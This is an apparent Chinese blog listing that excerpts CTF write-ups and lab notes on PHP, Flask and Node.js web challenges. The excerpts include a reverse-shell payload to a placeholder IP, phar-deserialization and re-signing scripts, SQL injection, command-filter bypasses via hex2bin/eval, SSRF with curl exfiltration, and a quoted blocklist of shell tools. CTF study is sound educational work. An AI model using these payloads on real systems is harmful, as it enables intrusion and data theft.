CISCN 2019华北Day1 web1

一道很适合新手入门完整网站项目漏洞挖掘的题目,网上wp多半只讲了利用链和exp,我会从网站逻辑开始分析并写得尽量详细易懂,同样适合新手入门 复现靶场为nssctf,https://www.nssctf.cn/problem/2 搜题号应该也能搜到 文件获取 拿到页面后是个登录框,先注册一个账号登进去看看 进来后是个文件管理的界面 随便传个文件 这里就会涉及到一个任意文件读取的思路。一般一些制作并不是那么精良的网站都会直接使用文件名匹配的方式去读取文件内容从而达到下载的效果,所以我们点击下载的时候抓个包试一下看能不能通过修改文件名从而把原代码下载下来 成功读取。照着这个方法把几个已知页面的代码都读一遍 网站代码逻辑 因为代码比较多,所以这里我这里先介绍一下网站的主要实现逻辑 我的习惯是从主界面也就是index.php开始看调用,在index.php中可以发现下面这段 进入到class.php,查看一下Filelist类 class FileList { private $files; private $results; private $funcs; public function __construct($path) { $this->files = array(); $this->results = array(); $this->funcs = array(); $filenames = scandir($path); $key = array_search(".", $filenames); unset($filenames[$key]); $key = array_search("..", $filenames); unset($filenames[$key]); foreach ($filenames as $filename) { $file = new File(); $file->open($path . $filename); array_push($this->files, $file); $this->results[$file->name()] = array(); } } public function __call($func, $args) { array_push($this->funcs, $func); foreach ($this->files as $file) { $this->results[$file->name()][$func] = $file->$func(); } } public function __destruct() { $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">'; $table .= '<thead><tr>'; foreach ($this->funcs as $func) { $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>'; } $table .= '<th scope="col" class="text-center">Opt</th>'; $table .= '</thead><tbody>'; foreach ($this->results as $filename => $result) { $table .= '<tr>'; foreach ($result as $func => $value) { $table .= '<td class="text-center">' . htmlentities($value) . '</td>'; } $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>'; $table .= '</tr>'; } echo $table; } } 从构造函数开始,会发现这里传入了一个path形参 ...

June 28, 2024 · 2 min · Red

SECCON Beginners CTF 2024

打seccon的第一年,为了队友的日本旅行梦,跟他们爆了! WEB ssrforlfi 主要代码如下 import os import re import subprocess from flask import Flask, request app = Flask(__name__) @app.route("/") def ssrforlfi(): url = request.args.get("url") if not url: return "Welcome to Website Viewer.<br><code>?url=http://example.com/</code>" # Allow only a-z, ", (, ), ., /, :, ;, <, >, @, | if not re.match('^[a-z"()./:;<>@|]*$', url): return "Invalid URL ;(" # SSRF & LFI protection if url.startswith("http://") or url.startswith("https://"): if "localhost" in url: return "Detected SSRF ;(" elif url.startswith("file://"): path = url[7:] if os.path.exists(path) or ".." in path: return "Detected LFI ;(" else: # Block other schemes return "Invalid Scheme ;(" try: # RCE ? proc = subprocess.run( f"curl '{url}'", capture_output=True, shell=True, text=True, timeout=1, ) except subprocess.TimeoutExpired: return "Timeout ;(" if proc.returncode != 0: return "Error ;(" return proc.stdout if __name__ == "__main__": app.run(debug=True, host="0.0.0.0", port=4989) 其实一开始看到这即过滤localhost又过滤file://的思路很容易被带着跑,就想着要怎么通过域名打ssrf。但是如果仔细看就会发现就算我现在有办法访问到127.0.0.1或者localhost也无济于事,根本不知道下一步要干嘛 ...

June 16, 2024 · 2 min · Red

[靶场笔记]第十八章

require绕过 这两天刚开始学nodejs,已知require('child_process').exeSync('ls')是用来执行指令的,但有时候require并不存在上下文,也就是说require有可能并没有被定义 所以就会用global.process.mainModule.constructor._load('child_process').execSync('uname -a')替代require execSync绕过 有好几种方法 方法一:函数平替 其中execFileSync只能执行ls之类,他cat不了文件 方法二:数组绕过 直接看payload //注意这里连接require方法和execSync属性之间没有'.' require('child_process')['e'%2b'xecSync']('cat f*') 方法三:fs模块 //列出当前目录下的文件 require('fs').readdirSync('./') //直接读文件 require('fs').readFileSync('fl001g.txt','utf-8') __filename js中用来返回当前模块文件的绝对路径 js类型比较 先看实例代码 为了拿到flag就必须满足a和b长度一致,a输出结果和b不相等,a和flag相加与b和flag相加相等三个条件。 有三种方法 第一种是a[]=1&b[]=1。这里的原理和php中不一样,这是js中!==这一运算符(也叫”严格不相等“)的特性([参考链接](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Operators/Strict_inequality#%E7%A4%BA%E4%BE%8B)),在比较对象时不管传入的值是什么他们总是不相等的 之后来到后面的md5中与字符串相加,结果都是[Object object]flag,因此通过 第二种方法的原理和上面一样,payload是??a[a]=1&b[b]=1 第三种是?a[1]=1&b=1,这种方法能行的原因是,在req.query接受到a[1]是,会将它当成一个数组,也就是a=[1],此时a的类型是object,和b的number不一致,所以严格比较通过。在md5中a直接与字符串相加时,会把数组中的默认下标为0的值与字符串相加,此时就会得到1flag。b就更是1flag了,因此通过 Function函数 在nodejs中,这个函数可以拥有和eval()一样的利用价值,具体可以看下面这个例子(参考链接) 也就是他的参数可以是一个return并被执行,所以就可以构造成 return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx.xx.xxx.xxx/xxxxx 0>&1\"') 这里需要注意,Function环境下没有require函数,不能获得child_process模块,我们可以通过使用process.mainModule.constructor._load来代替require。并且,由于return并不能回显,只有执行的能力,因此一般会选择用curl外带或者直接反弹shell js get传值特性 router.get('/', function(req, res, next) { res.type('html'); var flag = 'flag_here'; console.log(req.url) if(req.url.match(/8c|2c|\,/ig)){ res.end('111where is flag :)'); } var query = JSON.parse(req.query.query); if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){ res.end(flag); }else{ res.end('222where is flag. :)'); } }); 在这段代码里,req.url会把传进来的值都过滤一遍。先来看看payload ...

June 3, 2024 · 1 min · Red

[靶场笔记]第十七章

mid字符串指针控制 在sql注入时,如果最后dump flag的长度被限制,可以用mid函数控制输出指针,比如下面这句payload -1%27/**/union/**/select/**/1,database(),mid(group_concat(id,flag),1,20)/**/from/**/test_db.flag%23 修改mid的值就行 phar反序化 这里存一段phar反序化的初始化代码(更多内容可以看这里) <?php class example {} $o = new example(); @unlink("example.phar");//这行可有可无 $phar = new Phar("example.phar"); //后缀必须为phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //stub设置 $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "this is a test"); //添加要压缩的文件 $phar->stopBuffering();//签名自动计算 ?> 由于phar在存储时使用的是序列化后的数据,因此在使用phar://伪协议读取phar文件时会自动执行反序化函数,就能达到反序化的目的。并且phar文件是无所谓后缀的,只要数据流本质是压缩文件即可,可以随意更改为png等不易被waf干掉的后缀 补充一点,生成后的phar文件由meta-data、meta-data签名(默认是sha1,20字节)和签名格式(8字节)组成。如果碰到_wakeup魔术方法需要绕过,要改phar内容,就要对修改过的phar文件进行重新签名,否则会无法执行,下面是重新签名的示例 from hashlib import sha1 import gzip file = open('phar.phar', 'rb').read() #data = data.replace(b'3:{', b'4:{') #更换属性值,绕过__wakeup data = file[:-28]#要签名的部分是文件头到meta-data的数据。 final = file[-8:]#签名格式 newfile = data+sha1(data).digest()+final open('newpoc.phar', 'wb').write(newfile) #生成新文件后如果还碰到__HALT_COMPILER();过滤,可以用gzip压缩使其消失 newf = gzip.compress(newfile) with open(r'2.jpg', 'wb') as file: #更改文件后缀 file.write(newf) 自增绕过 ...

May 31, 2024 · 1 min · Red

2024 CISCN WP

simple_php 先看代码 <?php ini_set('open_basedir', '/var/www/html/'); error_reporting(0); if(isset($_POST['cmd'])){ $cmd = escapeshellcmd($_POST['cmd']); if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) { system($cmd); } } show_source(__FILE__); ?> open_basedir限制了访问路径,但是对system等命令执行函数是无效的,因此先不管。 再来看一下escapeshellcmd 简单来说就是会对上述字符进行转义,引号会在成对的时候被ban掉 继续往下看正则,当时队友试出了几个能用的,其中包括ps -e,base32。后面看其他师傅的wp还有rev,paste等文件读取的指令,后面发现还可以用%0a绕过函数过滤,这里也记录学习一下。 不过试来试去都没发现flag,但是在/etc/passwd发现了个mysql 之前西湖论剑的经验让我第一反应是udf提取,但没法执行或者连接mysql,所以只能另寻他法。后面找到了个-e参数能够执行sql指令 结合上面没找到flag文件,因此猜测flag在数据库里。但是-e参数后面跟的内容是要带引号的,所以还是得找到来绕过引号的办法。而且只执行是不行的,还得把内容输出出来,这里就得再套一层echo和反引号,也就是 echo `mysql -uroot -proot -e 'show databases;'`; 想起来php还有个-r参数能不带引号执行指令 直接上 php -r eval($a=1;print_r($a)); 在kali尝试是可以的,这里还得想办法往-r后面塞指令。既然绕过不行,那就编码,第一反应就是当时队友试出的base32,但是没找到php中有对应的函数可以解,于是就想到了16进制,可以把16进制编码后的指令用hex2bin解码,再把解码出来的东西给eval执行,到这步我们的payload就变成了 php -r eval(hex2bin(6563686F20606D7973716C202D75726F6F74202D70726F6F74202D65202773686F77206461746162617365733B27603B)); 执行后出现报错 分析原因是因为把数字开头的16进制当成数字型数据而不是字符串了,所以在最前面随便加个非数字的字符,用substr截断一下就行 php -r eval(hex2bin(substr(_6563686F20606D7973716C202D75726F6F74202D70726F6F74202D65202773686F77206461746162617365733B27603B,1))); 可以读库了,后面就正常查表即可 easy_cms 和网上一些师傅的审计不太一样,我当时写出来是队友找到了这个接口 对于fuzz了半天没试出什么东西的我断定可控接口肯定只有这几个…..于是去搜索有哪些文件调用了这几个接口 在/dayrui/Fcms/Core/Helper.php找到下面这段 明显thumb和text可控,但还是不知道这里的thumb传入进去后在哪处理,后面才在/dayrui/Fcms/Control/Api/Api.php找到下面这段对thumb参数的解析 结合后来队友告诉我发现的dr_catcher_data函数存在curl调用 因此推断这里存在ssrf,去访问题目描述给出的flag.php 这里直接构造payload就是 ?s=api&c=api&m=qrcode&thumb=http://127.0.0.1/flag.php?cmd=ls&text=100 但是这样打过去会发现并没有反应,因为没有回显的地方,因此这里只能用curl请求外带,起一个vps搭一个php服务,分别写1.php和2.php两个文件(记录一下队友教的php一句话简易服务:php -S 0.0.0.0:9999 -t . ) ...

May 28, 2024 · 1 min · Red